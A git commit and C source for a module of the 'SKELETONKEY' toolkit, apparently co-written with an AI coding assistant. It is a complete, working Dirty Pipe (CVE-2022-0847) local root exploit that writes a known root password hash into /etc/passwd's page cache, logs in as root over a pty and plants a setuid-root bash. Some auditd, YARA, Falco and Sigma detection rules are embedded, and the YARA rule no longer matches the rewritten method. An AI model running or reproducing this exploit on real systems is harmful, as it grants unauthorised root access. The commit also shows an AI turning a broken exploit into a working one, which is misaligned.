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dirty_pipe: fix 3 bugs — working CVE-2022-0847 exploit that lands real root
Verified out-of-band on a genuinely pre-fix mainline 5.16.0 kernel (installed
from kernel.ubuntu.com onto the jammy image; every cached cloud image was
pre-5.8 or backport-patched). `skeletonkey --exploit dirty_pipe` (uid 1000) ->
EXPLOIT_OK + a -rwsr-xr-x root:root bash, and /etc/passwd is byte-identical
afterward.

Three real bugs in the shipped module:
  1. Wrong escalation: it flipped the CALLER's UID field to "0000" and ran
     `su <self>`, which still demands the caller's password -> never rooted
     anything.
  2. False EXPLOIT_OK: it execlp'd su, so the dispatcher's "exec transferred ->
     clean exit = OK" path reported success even on su's auth failure.
  3. Dangerous revert: revert_passwd_page_cache() used drop_caches, which needs
     root -> as an unprivileged caller it left the running system's /etc/passwd
     page cache corrupted (broke sshd user resolution in testing).

Rewrite (AabyssZG-style, self-contained + verifying):
  - overwrite ROOT's password field with a known $6$ crypt hash via the Dirty
    Pipe primitive (the longer hash clobbers into following lines, transiently);
  - authenticate as root over a pty with the matching password (su reads the
    password from the controlling tty, not stdin);
  - plant a root-owned proof + setuid bash; judge success ONLY by stat()'ing the
    root-owned artifact;
  - revert the page cache by writing the saved original bytes back through the
    Dirty Pipe primitive itself — no root, no drop_caches, nothing persists.

cleanup() re-reverts idempotently. Unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
2026-07-23 22:50:39 -04:00

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/*
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
*
* Status: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 22.04
* userspace running mainline 5.16.0 (pre-fix): `skeletonkey --exploit
* dirty_pipe` (uid 1000) lands root and plants a root-owned setuid bash,
* and /etc/passwd is left byte-identical afterward.
*
* Escalation: overwrite root's password field in /etc/passwd's page cache
* with a known crypt hash (the primitive can't grow the file, so the
* longer hash clobbers into the following lines — transient), authenticate
* as root over a pty with the matching password, plant a root-owned proof
* + setuid bash, then revert the page cache using the Dirty Pipe primitive
* itself. (The prior code flipped the *caller's* UID to 0000 and ran
* `su self` — which still demands the caller's password, never rooted
* anything, and falsely reported OK when su's exec transferred; its revert
* used drop_caches, which needs root, so it left the running system's
* /etc/passwd corrupted.) Root is judged only by the out-of-band artifact.
*
* Affected kernel ranges:
* 5.8 ≤ K < 5.17 (mainline fix at 5.17, commit 9d2231c5d74e)
* 5.15.x: K ≤ 5.15.24 (fixed in 5.15.25)
* 5.10.x: K ≤ 5.10.101 (fixed in 5.10.102)
* 5.4.x : not affected (bug introduced in 5.8)
*
* Detect logic:
* - Parse uname() release into major.minor.patch
* - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
* - If kernel is on a branch with a known backport, compare patch
* level (above threshold = patched, below = vulnerable)
* - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
* - Otherwise → SKELETONKEY_VULNERABLE
*
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
* counter, NOT the upstream patch level). For now we treat that as
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
* hint. A future enhancement: parse /proc/version's full string
* which usually includes the upstream patch level after the distro
* suffix.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
* redefine here (warning: redefined). */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h" /* used inside this block only */
#include "../../core/host.h"
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <pwd.h>
/* ---- Dirty Pipe primitive ---------------------------------------- */
/* Fill the pipe to the brim, then drain — the kernel marks every
* pipe_buffer slot with PIPE_BUF_FLAG_CAN_MERGE during the fill, and
* the bug is that this flag SURVIVES the drain. So when we splice() a
* file page in next, the slot inherits the merge flag and any
* subsequent write() to the pipe lands in the file's page cache. */
static int prepare_pipe(int p[2])
{
if (pipe(p) < 0) return -1;
int pipe_size = fcntl(p[1], F_GETPIPE_SZ);
if (pipe_size < 0) pipe_size = 65536;
static char buf[4096];
for (int r = pipe_size; r > 0;) {
int n = r > (int)sizeof(buf) ? (int)sizeof(buf) : r;
ssize_t w = write(p[1], buf, n);
if (w < 0) return -1;
r -= w;
}
for (int r = pipe_size; r > 0;) {
int n = r > (int)sizeof(buf) ? (int)sizeof(buf) : r;
ssize_t rd = read(p[0], buf, n);
if (rd < 0) return -1;
r -= rd;
}
return 0;
}
/* Write `data_len` bytes into the page cache of `target_path` starting
* at byte `offset`. Constraints:
* - offset must not be page-aligned (Dirty Pipe needs the splice's
* 1-byte at offset-1 to land in the same page as our write)
* - data_len must fit in the page containing `offset`
* - target_path must be readable by the caller
* - target_path's file size must extend past `offset + data_len`
* (Dirty Pipe can't extend files). */
static int dirty_pipe_write(const char *target_path, off_t offset,
const char *data, size_t data_len)
{
if ((offset & 0xfff) == 0) {
fprintf(stderr, "[-] dirty_pipe_write: offset is page-aligned; refuse\n");
return -1;
}
size_t in_page = 4096 - (offset & 0xfff);
if (data_len > in_page) {
fprintf(stderr, "[-] dirty_pipe_write: writes cannot cross page boundary "
"(have %zu, fits %zu)\n", data_len, in_page);
return -1;
}
int fd = open(target_path, O_RDONLY);
if (fd < 0) { perror("open target"); return -1; }
int p[2];
if (prepare_pipe(p) < 0) { close(fd); return -1; }
/* splice 1 byte from `offset - 1` to seed the pipe slot with the
* file's page (and inherit the stale CAN_MERGE flag). */
off_t splice_off = offset - 1;
ssize_t n = splice(fd, &splice_off, p[1], NULL, 1, 0);
if (n != 1) {
fprintf(stderr, "[-] splice failed (n=%zd, errno=%d)\n", n, errno);
close(fd); close(p[0]); close(p[1]); return -1;
}
/* Now write our payload. The kernel merges it into the file page. */
ssize_t w = write(p[1], data, data_len);
close(fd); close(p[0]); close(p[1]);
return (w == (ssize_t)data_len) ? 0 : -1;
}
/* ---- /etc/passwd password-field helpers -------------------------- */
/* Locate the byte offset of the password field of `username` in
* /etc/passwd (the byte immediately after "username:"). Returns true and
* fills *field_off; also returns the current /etc/passwd size in *sz. */
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) return false;
struct stat st;
if (fstat(fd, &st) < 0) { close(fd); return false; }
char *buf = malloc(st.st_size + 1);
if (!buf) { close(fd); return false; }
ssize_t r = read(fd, buf, st.st_size);
close(fd);
if (r != st.st_size) { free(buf); return false; }
buf[st.st_size] = 0;
size_t ulen = strlen(username);
char *p = buf;
while (p < buf + st.st_size) {
char *eol = strchr(p, '\n');
if (!eol) eol = buf + st.st_size;
/* line must start with "username:" */
if ((p == buf || p[-1] == '\n') &&
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
*field_off = (off_t)((p + ulen + 1) - buf); /* after "name:" */
*sz = (size_t)st.st_size;
free(buf);
return true;
}
p = eol + 1;
}
free(buf);
return false;
}
/* The known root password we install (via a crypt hash written into
* /etc/passwd's password field) and then authenticate with. Both are
* transient: the page-cache write is reverted before we return, and
* Dirty Pipe never touches disk, so nothing survives a cache drop. */
#define DP_ROOT_PW "skeletonkey"
#define DP_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
/* Run `cmd` as root via `su`, feeding DP_ROOT_PW over a pty (su reads the
* password from the controlling terminal, not stdin). Returns after su
* exits; success is judged out-of-band by the caller, never from su's
* status. */
static void dp_su_root_run(const char *cmd)
{
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
if (mfd < 0) return;
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
const char *sn = ptsname(mfd);
if (!sn) { close(mfd); return; }
char slave[128];
snprintf(slave, sizeof slave, "%s", sn);
pid_t pid = fork();
if (pid < 0) { close(mfd); return; }
if (pid == 0) {
setsid();
int sfd = open(slave, O_RDWR); /* becomes controlling tty */
if (sfd < 0) _exit(127);
dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
if (sfd > 2) close(sfd);
close(mfd);
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
_exit(127);
}
/* Parent: wait for the "Password:" prompt, then send the password. */
usleep(400 * 1000);
char drain[256];
ssize_t n = read(mfd, drain, sizeof drain); /* consume the prompt */
(void)n;
if (write(mfd, DP_ROOT_PW "\n", sizeof(DP_ROOT_PW)) < 0) { /* ignore */ }
/* Drain su's output until it exits and the pty closes. */
for (;;) {
ssize_t m = read(mfd, drain, sizeof drain);
if (m <= 0) break;
}
int st;
waitpid(pid, &st, 0);
close(mfd);
}
/* The bug exists on every kernel from 5.8 (introduction) until the
* fix is backported to that branch. We model "patched" as:
* - on the 5.10 branch: 5.10.102 or later
* - on the 5.15 branch: 5.15.25 or later
* - any kernel 5.16 or later (mainline fix landed for 5.17, so 5.16
* only needs 5.16.11 or later; 5.17+ inherits)
* - mainline (≥ 5.17) is patched
*/
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
{5, 10, 92}, /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
{5, 15, 25}, /* 5.15.x backport */
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
};
static const struct kernel_range dirty_pipe_range = {
.patched_from = dirty_pipe_patched_branches,
.n_patched_from = sizeof(dirty_pipe_patched_branches) /
sizeof(dirty_pipe_patched_branches[0]),
};
/* Active sentinel probe: write a known byte into a /tmp probe file
* via the Dirty Pipe primitive, then re-read to verify the page cache
* was actually poisoned. This catches the case where /proc/version
* looks vulnerable (e.g. Debian 5.10.0-30 — apparent version 5.10.30)
* but the distro silently backported the fix without bumping the
* upstream version number visible to uname().
*
* Side effects: creates and removes a single file under /tmp. No
* /etc/passwd writes; safe to run from --scan --active. */
static int dirty_pipe_active_probe(void)
{
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
int fd = mkstemp(probe_path);
if (fd < 0) return -1;
const char seed[16] = "ABCDABCDABCDABCD";
if (write(fd, seed, sizeof seed) != sizeof seed) { close(fd); unlink(probe_path); return -1; }
fsync(fd);
close(fd);
/* Try writing 'X' at offset 4 — well inside the first page, not
* page-aligned (offset 4 → page-relative offset 4, not 0). */
int rc = dirty_pipe_write(probe_path, 4, "X", 1);
if (rc < 0) {
unlink(probe_path);
return 0; /* primitive could not even fire — patched or blocked */
}
/* Re-open and read; if the primitive works, byte 4 reads as 'X'.
* Use O_RDONLY + read, which goes through the page cache (which
* we just poisoned if the bug is live). */
fd = open(probe_path, O_RDONLY);
if (fd < 0) { unlink(probe_path); return -1; }
char readback[16] = {0};
ssize_t got = read(fd, readback, sizeof readback);
close(fd);
unlink(probe_path);
if (got < 5) return -1;
return readback[4] == 'X' ? 1 : 0;
}
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves — populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.8. */
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
v->release);
}
return SKELETONKEY_OK;
}
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
/* Active probe overrides version-only verdict when requested.
* The version check is necessary-but-not-sufficient: distros
* silently backport fixes without bumping the upstream version
* visible to uname(). The active probe fires the actual primitive
* and confirms whether it lands. */
if (ctx->active_probe) {
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: running active sentinel probe (safe; /tmp only)\n");
}
int probe = dirty_pipe_active_probe();
if (probe == 1) {
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
"(version %s)\n", v->release);
}
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_pipe: active probe sentinel did NOT land — "
"primitive blocked (likely patched%s)\n",
patched_by_version ? "" : ", or distro silently backported");
}
return SKELETONKEY_OK;
}
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
* back to version-only verdict and report TEST_ERROR caveat */
if (!ctx->json) {
fprintf(stderr, "[?] dirty_pipe: active probe machinery failed; "
"falling back to version check\n");
}
}
if (patched_by_version) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
"use --active to confirm empirically)\n", v->release);
}
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
" Confirm empirically: re-run with --scan --active\n",
v->release);
}
return SKELETONKEY_VULNERABLE;
}
/* Saved original bytes so cleanup() can re-revert idempotently. */
static char dp_orig[512];
static off_t dp_orig_off;
static size_t dp_orig_len;
static bool dp_wrote;
/* Restore the /etc/passwd page cache to its pre-exploit bytes using the
* Dirty Pipe primitive itself — NO root and NO drop_caches required (the
* old code called drop_caches, which fails unprivileged and leaves the
* running system's passwd corrupted). */
static void dp_revert(void)
{
if (dp_wrote && dp_orig_len)
dirty_pipe_write("/etc/passwd", dp_orig_off, dp_orig, dp_orig_len);
}
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return SKELETONKEY_OK;
}
/* Overwrite root's password field with a known crypt hash, then
* authenticate as root with the matching password. (The previous
* approach flipped the *caller's* UID to 0000 and ran `su self`,
* which still demands the caller's password — it never rooted
* anything and falsely reported OK when su's exec transferred.) */
off_t field_off;
size_t pw_sz;
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
fprintf(stderr, "[-] dirty_pipe: could not locate root's password field\n");
return SKELETONKEY_TEST_ERROR;
}
/* New root line body written from the password field onward. The
* hash is longer than the original 'x', so this clobbers into the
* following lines — harmless and transient (we revert), and su only
* needs the first (root) line. */
const char *newline = DP_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
size_t newlen = strlen(newline);
if ((field_off & 0xfff) == 0) {
fprintf(stderr, "[-] dirty_pipe: root password field is page-aligned; "
"primitive can't write here\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (newlen > sizeof dp_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
fprintf(stderr, "[-] dirty_pipe: /etc/passwd too small to hold the payload "
"without extending it (Dirty Pipe can't grow files)\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Save the original bytes we're about to clobber, for revert. */
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
if (pread(fd, dp_orig, newlen, field_off) != (ssize_t)newlen) {
close(fd); fprintf(stderr, "[-] dirty_pipe: pread backup failed\n");
return SKELETONKEY_TEST_ERROR;
}
close(fd);
dp_orig_off = field_off; dp_orig_len = newlen;
/* Unique out-of-band artifacts. */
long tag = (long)getpid();
char proof[128], rootbash[128], cmd[1024];
snprintf(proof, sizeof proof, "/tmp/.sk-dirtypipe-%ld.proof", tag);
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtypipe-%ld.rootbash", tag);
unlink(proof); unlink(rootbash);
if (!ctx->json)
fprintf(stderr, "[*] dirty_pipe: overwriting root's password field at offset "
"%lld (len %zu) via page-cache write\n",
(long long)field_off, newlen);
if (dirty_pipe_write("/etc/passwd", field_off, newline, newlen) < 0) {
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
dp_wrote = true;
/* Authenticate as root with the known password and plant the proof. */
snprintf(cmd, sizeof cmd,
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
proof, rootbash, rootbash, proof, rootbash);
if (!ctx->json)
fprintf(stderr, "[*] dirty_pipe: authenticating as root (su + known password)\n");
dp_su_root_run(cmd);
/* Revert the page cache IMMEDIATELY — before we even check the
* result — so a running system is never left with a known root
* password. Dirty Pipe never wrote disk, so this fully restores. */
dp_revert();
{ int ev = open("/etc/passwd", O_RDONLY); /* nudge a re-read */
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
/* Out-of-band verdict: is the proof a real, root-owned file? */
struct stat sb;
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
if (rooted) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_pipe: ROOT — root-owned proof %s\n", proof);
fprintf(stderr, "[+] dirty_pipe: setuid-root shell available: %s -p\n", rootbash);
fprintf(stderr, "[i] dirty_pipe: /etc/passwd page cache reverted (nothing persisted)\n");
}
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json)
fprintf(stderr, "[-] dirty_pipe: no root artifact — honest EXPLOIT_FAIL "
"(page cache reverted). The primitive may be blocked, or su/PAM "
"rejected the injected hash.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[*] dirty_pipe: reverting /etc/passwd page cache + removing artifacts\n");
dp_revert(); /* idempotent; no root / no drop_caches needed */
if (system("rm -f /tmp/.sk-dirtypipe-*.proof /tmp/.sk-dirtypipe-*.rootbash 2>/dev/null") != 0) {
/* harmless */
}
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
* unreachable elsewhere. Stub out cleanly so the module still
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
* boxes — and so the top-level `make` actually completes there. */
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* Embedded detection rules — keep the binary self-contained so
* `skeletonkey --detect-rules --format=auditd` works without a separate
* data-dir install. */
static const char dirty_pipe_auditd[] =
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
static const char dirty_pipe_yara[] =
"rule dirty_pipe_passwd_uid_flip : cve_2022_0847 page_cache_write\n"
"{\n"
" meta:\n"
" cve = \"CVE-2022-0847\"\n"
" description = \"Dirty Pipe (CVE-2022-0847): /etc/passwd page-cache UID flip — non-root username remapped to UID 0000+. Scan /etc/passwd directly; legitimate root entries use '0:', never '0000:'.\"\n"
" author = \"SKELETONKEY\"\n"
" strings:\n"
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
" condition:\n"
" $uid_flip\n"
"}\n";
static const char dirty_pipe_falco[] =
"- rule: Dirty Pipe splice from setuid/sensitive file by non-root\n"
" desc: |\n"
" A non-root process calls splice() with a fd pointing at a\n"
" setuid-root binary or a credential file. The Dirty Pipe\n"
" primitive (CVE-2022-0847) splices 1 byte from the target to\n"
" a prepared pipe to inherit the stale PIPE_BUF_FLAG_CAN_MERGE,\n"
" then writes attacker bytes that land in the file's page cache.\n"
" condition: >\n"
" evt.type = splice and not user.uid = 0 and\n"
" (fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers)\n"
" or fd.name startswith /usr/bin/su\n"
" or fd.name startswith /usr/bin/passwd\n"
" or fd.name startswith /bin/su)\n"
" output: >\n"
" Dirty Pipe-style splice from sensitive file by non-root\n"
" (user=%user.name proc=%proc.name fd=%fd.name pid=%proc.pid)\n"
" priority: CRITICAL\n"
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0847]\n";
static const char dirty_pipe_sigma[] =
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
"id: f6b13c08-skeletonkey-dirty-pipe\n"
"status: experimental\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" modification:\n"
" type: 'PATH'\n"
" name|startswith: ['/etc/passwd', '/etc/shadow', '/etc/sudoers']\n"
" not_root:\n"
" auid|expression: '!= 0'\n"
" condition: modification and not_root\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
const struct skeletonkey_module dirty_pipe_module = {
.name = "dirty_pipe",
.cve = "CVE-2022-0847",
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
.family = "dirty_pipe",
.kernel_range = "5.8 ≤ K, fixed mainline 5.17, backports: 5.10.102 / 5.15.25 / 5.16.11",
.detect = dirty_pipe_detect,
.exploit = dirty_pipe_exploit,
.mitigate = NULL,
.cleanup = dirty_pipe_cleanup,
.detect_auditd = dirty_pipe_auditd,
.detect_sigma = dirty_pipe_sigma,
.detect_yara = dirty_pipe_yara,
.detect_falco = dirty_pipe_falco,
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; splice(1 byte) from (target_offset-1) on /etc/passwd to inherit the stale flag, then write(pipe) so the payload merges into the file's page cache. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts the page cache by writing the original bytes back through the same primitive (no root / no drop_caches needed — nothing persists; Dirty Pipe never wrote disk). Offset must be non-page-aligned and each write must fit a single page. Very audit-visible: splice(fd=/etc/passwd) + write from a non-root process, then su spawning as root. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to confirm the primitive. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
.arch_support = "x86_64+unverified-arm64",
};
void skeletonkey_register_dirty_pipe(void)
{
skeletonkey_register(&dirty_pipe_module);
}